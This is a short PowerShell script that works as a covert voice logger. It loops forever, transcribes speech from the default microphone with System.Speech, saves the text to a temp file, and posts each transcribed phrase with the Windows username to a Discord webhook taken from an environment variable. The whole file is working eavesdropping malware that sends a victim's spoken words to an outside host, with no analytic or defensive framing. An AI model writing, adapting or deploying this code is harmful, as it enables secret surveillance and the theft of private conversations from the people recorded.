function DC-Upload { [CmdletBinding()] param ( [parameter(Position=0,Mandatory=$True)] [string]$WebhookUrl, [parameter(Position=1,Mandatory=$False)] [string]$text ) $Body = @{ 'username' = $env:username 'content' = $text } try { if (-not ([string]::IsNullOrEmpty($text))) { Invoke-RestMethod -ContentType 'Application/Json' -Uri $WebhookUrl -Method Post -Body ($Body | ConvertTo-Json) } } catch { Write-Error "Failed to upload content to Discord: $_" } } function voiceLogger { Add-Type -AssemblyName System.Speech $recognizer = New-Object System.Speech.Recognition.SpeechRecognitionEngine $grammar = New-Object System.Speech.Recognition.DictationGrammar $recognizer.LoadGrammar($grammar) $recognizer.SetInputToDefaultAudioDevice() $logFile = "$env:TEMP\VoiceLog.txt" while ($true) { try { $result = $recognizer.Recognize() if ($result) { $text = $result.Text Write-Output $text Out-File -FilePath $logFile -InputObject $text -Encoding utf8 -Force DC-Upload -WebhookUrl $env:DISCORD_WEBHOOK_URL -text $text # Use a switch statement with the $text variable switch -regex ($text) { '\bnote\b' {saps notepad} '\bexit\b' {break} } } } catch { Write-Error "Failed to recognize voice input: $_" } } Clear-Content -Path $logFile }